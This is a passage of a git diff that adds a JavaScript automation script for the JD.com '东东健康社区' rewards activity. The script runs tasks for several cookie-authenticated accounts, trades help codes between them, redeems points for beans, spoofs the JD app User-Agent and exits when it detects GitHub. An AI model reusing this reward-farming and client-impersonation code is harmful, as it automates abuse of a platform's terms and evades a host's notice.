$.shareCodesArr = []; - if ($.isNode()) { - Object.keys(shareCodes).forEach((item) => { - if (shareCodes[item]) { - $.shareCodesArr.push(shareCodes[item]) - } - }) - } - console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); - resolve() - }) -} - -// prettier-ignore -function Env(t, e) { - "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); - - class s { - constructor(t) { - this.env = t - } - - send(t, e = "GET") { - t = "string" == typeof t ? {url: t} : t; - let s = this.get; - return "POST" === e && (s = this.post), new Promise((e, i) => { - s.call(this, t, (t, s, r) => { - t ? i(t) : e(s) - }) - }) - } - - get(t) { - return this.send.call(this.env, t) - } - - post(t) { - return this.send.call(this.env, t, "POST") - } - } - - return new class { - constructor(t, e) { - this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) - } - - isNode() { - return "undefined" != typeof module && !!module.exports - } - - isQuanX() { - return "undefined" != typeof $task - } - - isSurge() { - return "undefined" != typeof $httpClient && "undefined" == typeof $loon - } - - isLoon() { - return "undefined" != typeof $loon - } - - toObj(t, e = null) { - try { - return JSON.parse(t) - } catch { - return e - } - } - - toStr(t, e = null) { - try { - return JSON.stringify(t) - } catch { - return e - } - } - - getjson(t, e) { - let s = e; - const i = this.getdata(t); - if (i) try { - s = JSON.parse(this.getdata(t)) - } catch { - } - return s - } - - setjson(t, e) { - try { - return this.setdata(JSON.stringify(t), e) - } catch { - return !1 - } - } - - getScript(t) { - return new Promise(e => { - this.get({url: t}, (t, s, i) => e(i)) - }) - } - - runScript(t, e) { - return new Promise(s => { - let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); - i = i ? i.replace(/\n/g, "").trim() : i; - let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); - r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; - const [o, h] = i.split("@"), n = {url: `http://${h}/v1/scripting/evaluate`, body: {script_text: t, mock_type: "cron", timeout: r}, headers: {"X-Key": o, Accept: "*/*"}}; - this.post(n, (t, e, i) => s(i)) - }).catch(t => this.logErr(t)) - } - - loaddata() { - if (!this.isNode()) return {}; - { - this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); - const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); - if (!s && !i) return {}; - { - const i = s ? t : e; - try { - return JSON.parse(this.fs.readFileSync(i)) - } catch (t) { - return {} - } - } - } - } - - writedata() { - if (this.isNode()) { - this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); - const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); - s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) - } - } - - lodash_get(t, e, s) { - const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); - let r = t; - for (const t of i) if (r = Object(r)[t], void 0 === r) return s; - return r - } - - lodash_set(t, e, s) { - return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) - } - - getdata(t) { - let e = this.getval(t); - if (/^@/.test(t)) { - const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; - if (r) try { - const t = JSON.parse(r); - e = t ? this.lodash_get(t, i, "") : e - } catch (t) { - e = "" - } - } - return e - } - - setdata(t, e) { - let s = !1; - if (/^@/.test(e)) { - const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; - try { - const e = JSON.parse(h); - this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) - } catch (e) { - const o = {}; - this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) - } - } else s = this.setval(t, e); - return s - } - - getval(t) { - return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null - } - - setval(t, e) { - return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null - } - - initGotEnv(t) { - this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) - } - - get(t, e = (() => { - })) { - t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, {"X-Surge-Skip-Scripting": !1})), $httpClient.get(t, (t, s, i) => { - !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) - })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, {hints: !1})), $task.fetch(t).then(t => { - const {statusCode: s, statusCode: i, headers: r, body: o} = t; - e(null, {status: s, statusCode: i, headers: r, body: o}, o) - }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { - try { - if (t.headers["set-cookie"]) { - const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); - s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar - } - } catch (t) { - this.logErr(t) - } - }).then(t => { - const {statusCode: s, statusCode: i, headers: r, body: o} = t; - e(null, {status: s, statusCode: i, headers: r, body: o}, o) - }, t => { - const {message: s, response: i} = t; - e(s, i, i && i.body) - })) - } - - post(t, e = (() => { - })) { - if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, {"X-Surge-Skip-Scripting": !1})), $httpClient.post(t, (t, s, i) => { - !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) - }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, {hints: !1})), $task.fetch(t).then(t => { - const {statusCode: s, statusCode: i, headers: r, body: o} = t; - e(null, {status: s, statusCode: i, headers: r, body: o}, o) - }, t => e(t)); else if (this.isNode()) { - this.initGotEnv(t); - const {url: s, ...i} = t; - this.got.post(s, i).then(t => { - const {statusCode: s, statusCode: i, headers: r, body: o} = t; - e(null, {status: s, statusCode: i, headers: r, body: o}, o) - }, t => { - const {message: s, response: i} = t; - e(s, i, i && i.body) - }) - } - } - - time(t, e = null) { - const s = e ? new Date(e) : new Date; - let i = {"M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds()}; - /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); - for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); - return t - } - - msg(e = t, s = "", i = "", r) { - const o = t => { - if (!t) return t; - if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? {"open-url": t} : this.isSurge() ? {url: t} : void 0; - if ("object" == typeof t) { - if (this.isLoon()) { - let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; - return {openUrl: e, mediaUrl: s} - } - if (this.isQuanX()) { - let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; - return {"open-url": e, "media-url": s} - } - if (this.isSurge()) { - let e = t.url || t.openUrl || t["open-url"]; - return {url: e} - } - } - }; - if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { - let t = ["", "==============📣系统通知📣=============="]; - t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) - } - } - - log(...t) { - t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) - } - - logErr(t, e) { - const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); - s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) - } - - wait(t) { - return new Promise(e => setTimeout(e, t)) - } - - done(t = {}) { - const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; - this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) - } - }(t, e) -} diff --git a/jd_health_Mod.js b/jd_health_Mod.js new file mode 100644 index 000000000..8965e6a67 --- /dev/null +++ b/jd_health_Mod.js @@ -0,0 +1,822 @@ +/* +东东健康社区 +更新时间:2021-4-22 +活动入口:京东APP首页搜索 "玩一玩"即可 + +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +===================quantumultx================ +[task_local] +#东东健康社区 +13 0,6,22 * * * jd_health.js, tag=东东健康社区, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +=====================Loon================ +[Script] +cron "13 0,6,22 * * *" script-path=jd_health.js, tag=东东健康社区 + +====================Surge================ +东东健康社区 = type=cron,cronexp="13 0,6,22 * * *",wake-system=1,timeout=3600,script-path=jd_health.js + +============小火箭========= +东东健康社区 = type=cron,script-path=jd_health.js, cronexpr="13 0,6,22 * * *", timeout=3600, enable=true + */ +const $ = new Env("东东健康社区互助版"); +const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; +const notify = $.isNode() ? require('./sendNotify') : ""; +let cookiesArr = [], cookie = "", allMessage = "", message; +let reward = process.env.JD_HEALTH_REWARD_NAME ? process.env.JD_HEALTH_REWARD_NAME : ''; +const randomCount = $.isNode() ? 20 : 5; +$.newShareCodes = []; +let UserShareCodes = ""; +function oc(fn, defaultVal) { //optioanl chaining + try { + return fn() + } catch (e) { + return undefined + } +} +function nc(val1, val2) { //nullish coalescing + return val1 != undefined ? val1 : val2 +} +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]); + }); + if (process.env.JD_DEBUG && process.env.JD_DEBUG === "false") + console.log = () => {}; +} else { + cookiesArr = [$.getdata("CookieJD"), $.getdata("CookieJD2"), ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +const JD_API_HOST = "https://api.m.jd.com/"; + +let NowHour = new Date().getHours(); +let llhelp=true; +if ($.isNode() && process.env.CC_NOHELPAFTER8) { + console.log(NowHour); + if (process.env.CC_NOHELPAFTER8=="true"){ + if (NowHour>8){ + llhelp=false; + console.log(`现在是9点后时段,不启用互助....`); + } + } +} + +!(async() => { + if (!cookiesArr[0]) { + $.msg($.name, "【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取", "https://bean.m.jd.com/", { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + if (llhelp){ + console.log(`开始获取助力码....\n`); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + await GetShareCode(); + } + } + } + console.log(`开始执行任务....\n`); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + message = ""; + console.log(`\n******开始【京东账号${$.index}】${$.UserName}*********\n`); + await main() + await showMsg() + } + } + if ($.isNode() && allMessage) { + await notify.sendNotify(`${$.name}`, `${allMessage}`) + } +})() +.catch((e) => { + $.log("", `❌ ${$.name}, 失败! 原因: ${e}!`, ""); +}) +.finally(() => { + $.done(); +}); + +async function main() { + try { + $.score = 0; + $.earn = false; + await getTaskDetail(-1); + await getTaskDetail(16); + UserShareCodes = ""; + await getTaskDetail(6); + for (let i = 0; i < 5; ++i) { + $.canDo = false; + await getTaskDetail(); + if (!$.canDo) + break; + await $.wait(1000); + } + await collectScore(); + if (llhelp){ + await helpFriends(); + } + await getTaskDetail(22); + await getTaskDetail(-1); + + if (reward) { + await getCommodities(); + } + + } catch (e) { + $.logErr(e) + } +} + +async function helpFriends() { + for (let code of $.newShareCodes) { + if (!code) + continue; + if (UserShareCodes == code) + continue; + + console.log(`去助力好友${code}`); + let res = await doTask(code, 6); + if ([108, -1001].includes(oc(() => res.data.bizCode))) { + console.log(`助力次数已满,跳出`); + break; + } + await $.wait(1000); + } +} + +function showMsg() { + return new Promise(async resolve => { + message += `本次获得${$.earn}健康值,累计${$.score}健康值\n` + $.msg($.name, '', `京东账号${$.index} ${$.UserName}\n${message}`); + resolve(); + }) +} + +function GetShareCode(taskId = 6) { + return new Promise(resolve => { + $.get(taskUrl('jdhealth_getTaskDetail', { + "buildingId": "", + taskId: taskId === -1 ? '' : taskId, + "channelId": 1 + }), + async(err, resp, data) => { + try { + if (safeGet(data)) { + data = $.toObj(data); + + if (oc(() => data.data.result.taskVos)) { + console.log(`【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${oc(() => data.data.result.taskVos[0].assistTaskDetailVo.taskToken)}\n`); + var strSharedcode = `${oc(() => data.data.result.taskVos[0].assistTaskDetailVo.taskToken)}`; + $.newShareCodes.push(strSharedcode); + } + + } + } catch (e) { + console.log(e) + } + finally { + resolve() + } + }) + }) +} + +function getTaskDetail(taskId = '') { + return new Promise(resolve => { + $.get(taskUrl('jdhealth_getTaskDetail', { + "buildingId": "", + taskId: taskId === -1 ? '' : taskId, + "channelId": 1 + }), + async(err, resp, data) => { + try { + if (safeGet(data)) { + data = $.toObj(data) + if (taskId === -1) { + let tmp = parseInt(parseFloat(nc(oc(() => data.data.result.userScore), '0'))) + if (!$.earn) { + $.score = tmp + $.earn = 1 + } else { + $.earn = tmp - $.score + $.score = tmp + } + } else if (taskId === 6) { + if (oc(() => data.data.result.taskVos)) { + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${oc(() => data.data.result.taskVos[0].assistTaskDetailVo.taskToken)}\n`); + UserShareCodes = `${oc(() => data.data.result.taskVos[0].assistTaskDetailVo.taskToken)}`; + } + } else if (taskId === 22) { + console.log(`${oc(() => data.data.result.taskVos[0].taskName)}任务,完成次数:${oc(() => data.data.result.taskVos[0].times)}/${oc(() => data.data.result.taskVos[0].maxTimes)}`) + if (oc(() => data.data.result.taskVos[0].times) === oc(() => data.data.result.taskVos[0].maxTimes)) + return + await doTask(oc(() => data.data.result.taskVos[0].shoppingActivityVos[0].taskToken), 22, 1) //领取任务 + await $.wait(1000 * (oc(() => data.data.result.taskVos[0].waitDuration) || 3)); + await doTask(oc(() => data.data.result.taskVos[0].shoppingActivityVos[0].taskToken), 22, 0); //完成任务 + } else { + for (let vo of nc(oc(() => data.data.result.taskVos.filter(vo => ![19,25,15,21].includes(vo.taskType))) , [])) { + console.log(`${vo.taskName}任务,完成次数:${vo.times}/${vo.maxTimes}`) + for (let i = vo.times; i < vo.maxTimes; i++) { + console.log(`去完成${vo.taskName}任务`) + if (vo.taskType === 13) { + await doTask(oc(() => vo.simpleRecordInfoVo.taskToken), oc(() => vo.taskId)) + } else if (vo.taskType === 8) { + await doTask(oc(() => vo.productInfoVos[i].taskToken), oc(() => vo.taskId), 1) + await $.wait(1000 * 10) + await doTask(oc(() => vo.productInfoVos[i].taskToken), oc(() => vo.taskId), 0) + } else if (vo.taskType === 9) { + await doTask(oc(() => vo.shoppingActivityVos[0].taskToken), oc(() => vo.taskId), 1) + await $.wait(1000 * 10) + await doTask(oc(() => vo.shoppingActivityVos[0].taskToken), oc(() => vo.taskId), 0) + } else if (vo.taskType === 10) { + await doTask(oc(() => vo.threeMealInfoVos[0].taskToken), oc(() => vo.taskId)) + } else if (vo.taskType === 26 || vo.taskType === 3) { + await doTask(oc(() => vo.shoppingActivityVos[0].taskToken), oc(() => vo.taskId)) + } else if (vo.taskType === 1) { + for (let key of Object.keys(vo.followShopVo)) { + let taskFollow = vo.followShopVo[key] + if (taskFollow.status !== 2) { + await doTask(taskFollow.taskToken, vo.taskId, 0) + break + } + } + } + await $.wait(2000) + } + } + } + } + } catch (e) { + console.log(e) + } + finally { + resolve() + } + }) + }) +} + +async function getCommodities() { + return new Promise(async resolve => { + const options = taskUrl('jdhealth_getCommodities') + $.post(options, async(err, resp, data) => { + try { + if (safeGet(data)) { + data = $.toObj(data) + let beans = data.data.result.jBeans.filter(x => x.status !== 0 && x.status !== 1) + if (beans.length !== 0) { + for (let key of Object.keys(beans)) { + let vo = beans[key] + if (vo.title === reward && $.score >= vo.exchangePoints) { + await $.wait(1000) + await exchange(vo.type, vo.id) + } + } + } else { + console.log(`兑换京豆次数已达上限`) + } + } + } catch (e) { + console.log(e) + } + finally { + resolve(data) + } + }) + }) +} +function exchange(commodityType, commodityId) { + return new Promise(resolve => { + const options = taskUrl('jdhealth_exchange', { + commodityType, + commodityId + }) + $.post(options, (err, resp, data) => { + try { + if (safeGet(data)) { + data = $.toObj(data) + if (data.data.bizCode === 0 || data.data.bizMsg === "success") { + $.score = data.data.result.userScore + console.log(`兑换${data.data.result.jingBeanNum}京豆成功`) + message += `兑换${data.data.result.jingBeanNum}京豆成功\n` + if ($.isNode()) { + allMessage += `【京东账号${$.index}】 ${$.UserName}\n兑换${data.data.result.jingBeanNum}京豆成功🎉${$.index !== cookiesArr.length ? '\n\n' : ''}` + } + } else { + console.log(data.data.bizMsg) + } + } + } catch (e) { + console.log(e) + } + finally { + resolve(data) + } + }) + }) +} + +function doTask(taskToken, taskId, actionType = 0) { + return new Promise(resolve => { + const options = taskUrl('jdhealth_collectScore', {taskToken, taskId, actionType}) + $.get(options, + (err, resp, data) => { + try { + if (safeGet(data)) { + data = $.toObj(data) + if ([0, 1].includes(nc(oc(() => data.data.bizCode) , -1))) { + $.canDo = true + if (oc(() => data.data.result.score)) + console.log(`任务完成成功,获得:${nc(oc(() => data.data.result.score) , '未知')}能量`) + else + console.log(`任务领取结果:${nc(oc(() => data.data.bizMsg) , JSON.stringify(data))}`) + } else { + console.log(`任务完成失败:${nc(oc(() => data.data.bizMsg) , JSON.stringify(data))}`) + } + } + } catch (e) { + console.log(e) + } finally { + resolve(data) + } + }) + }) +} + +function collectScore() { + return new Promise(resolve => { + $.get(taskUrl('jdhealth_collectProduceScore', {}), + (err, resp, data) => { + try { + if (safeGet(data)) { + data = $.toObj(data) + if (oc(() => data.data.bizCode) === 0) { + if (oc(() => data.data.result.produceScore)) + console.log(`任务完成成功,获得:${nc(oc(() => data.data.result.produceScore) , '未知')}能量`) + else + console.log(`任务领取结果:${nc(oc(() => data.data.bizMsg) , JSON.stringify(data))}`) + } else { + console.log(`任务完成失败:${nc(oc(() => data.data.bizMsg) , JSON.stringify(data))}`) + } + } + } catch (e) { + console.log(e) + } finally { + resolve() + } + }) + }) +} + +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&uuid=`, + headers: { + "Cookie": cookie, + "origin": "https://h5.m.jd.com", + "referer": "https://h5.m.jd.com/", + 'accept-language': 'zh-cn', + 'accept-encoding': 'gzip, deflate, br', + 'accept': 'application/json, text/plain, */*', + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function readShareCode() { + console.log(`开始`) + return new Promise(async resolve => { + $.get({ + url: `https://api.jdsharecode.xyz/api/health/${randomCount}`, + 'timeout': 10000 + }, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} health/read API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(data); + } + }) + await $.wait(10000); + resolve() + }) +} +// prettier-ignore +function Env(t, e) { + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); + class s { + constructor(t) { + this.env = t + } + send(t, e = "GET") { + t = "string" == typeof t ? { + url: t + } + : t; + let s = this.get; + return "POST" === e && (s = this.post), + new Promise((e, i) => { + s.call(this, t, (t, s, r) => { + t ? i(t) : e(s) + }) + }) + } + get(t) { + return this.send.call(this.env, t) + } + post(t) { + return this.send.call(this.env, t, "POST") + } + } + return new class { + constructor(t, e) { + this.name = t, + this.http = new s(this), + this.data = null, + this.dataFile = "box.dat", + this.logs = [], + this.isMute = !1, + this.isNeedRewrite = !1, + this.logSeparator = "\n", + this.startTime = (new Date).getTime(), + Object.assign(this, e), + this.log("", `🔔${this.name}, 开始!`) + } + isNode() { + return "undefined" != typeof module && !!module.exports + } + isQuanX() { + return "undefined" != typeof $task + } + isSurge() { + return "undefined" != typeof $httpClient && "undefined" == typeof $loon + } + isLoon() { + return "undefined" != typeof $loon + } + toObj(t, e = null) { + try { + return JSON.parse(t) + } catch { + return e + } + } + toStr(t, e = null) { + try { + return JSON.stringify(t) + } catch { + return e + } + } + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) + try { + s = JSON.parse(this.getdata(t)) + } catch {} + return s + } + setjson(t, e) { + try { + return this.setdata(JSON.stringify(t), e) + } catch { + return !1 + } + } + getScript(t) { + return new Promise(e => { + this.get({ + url: t + }, (t, s, i) => e(i)) + }) + } + runScript(t, e) { + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, + r = e && e.timeout ? e.timeout : r; + const[o, h] = i.split("@"), + n = { + url: `http://${h}/v1/scripting/evaluate`, + body: { + script_text: t, + mock_type: "cron", + timeout: r + }, + headers: { + "X-Key": o, + Accept: "*/*" + } + }; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + loaddata() { + if (!this.isNode()) + return {}; { + this.fs = this.fs ? this.fs : require("fs"), + this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e); + if (!s && !i) + return {}; { + const i = s ? t : e; + try { + return JSON.parse(this.fs.readFileSync(i)) + } catch (t) { + return {} + } + } + } + } + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"), + this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e), + r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + lodash_get(t, e, s) { + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for (const t of i) + if (r = Object(r)[t], void 0 === r) + return s; + return r + } + lodash_set(t, e, s) { + return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) + } + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const[, s, i] = /^@(.*?)\.(.*?)$/.exec(t), + r = s ? this.getval(s) : ""; + if (r) + try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch (t) { + e = "" + } + } + return e + } + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const[, i, r] = /^@(.*?)\.(.*?)$/.exec(e), + o = this.getval(i), + h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), + s = this.setval(JSON.stringify(e), i) + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), + s = this.setval(JSON.stringify(o), i) + } + } else + s = this.setval(t, e); + return s + } + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null + } + setval(t, e) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null + } + initGotEnv(t) { + this.got = this.got ? this.got : require("got"), + this.cktough = this.cktough ? this.cktough : require("tough-cookie"), + this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, + t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) + } + get(t, e = (() => {})) { + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), + this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.get(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), + e(t, s, i) + })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), + e.cookieJar = this.ckjar + } + } catch (t) { + this.logErr(t) + } + }).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + })) + } + post(t, e = (() => {})) { + if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) + this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.post(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), + e(t, s, i) + }); + else if (this.isQuanX()) + t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t)); + else if (this.isNode()) { + this.initGotEnv(t); + const { + url: s, + ...i + } = t; + this.got.post(s, i).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + }) + } + } + time(t, e = null) { + const s = e ? new Date(e) : new Date; + let i = { + "M+": s.getMonth() + 1, + "d+": s.getDate(), + "H+": s.getHours(), + "m+": s.getMinutes(), + "s+": s.getSeconds(), + "q+": Math.floor((s.getMonth() + 3) / 3), + S: s.getMilliseconds() + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for (let e in i) + new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); + return t + } + msg(e = t, s = "", i = "", r) { + const o = t => { + if (!t) + return t; + if ("string" == typeof t) + return this.isLoon() ? t : this.isQuanX() ? { + "open-url": t + } + : this.isSurge() ? { + url: t + } + : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], + s = t.mediaUrl || t["media-url"]; + return { + 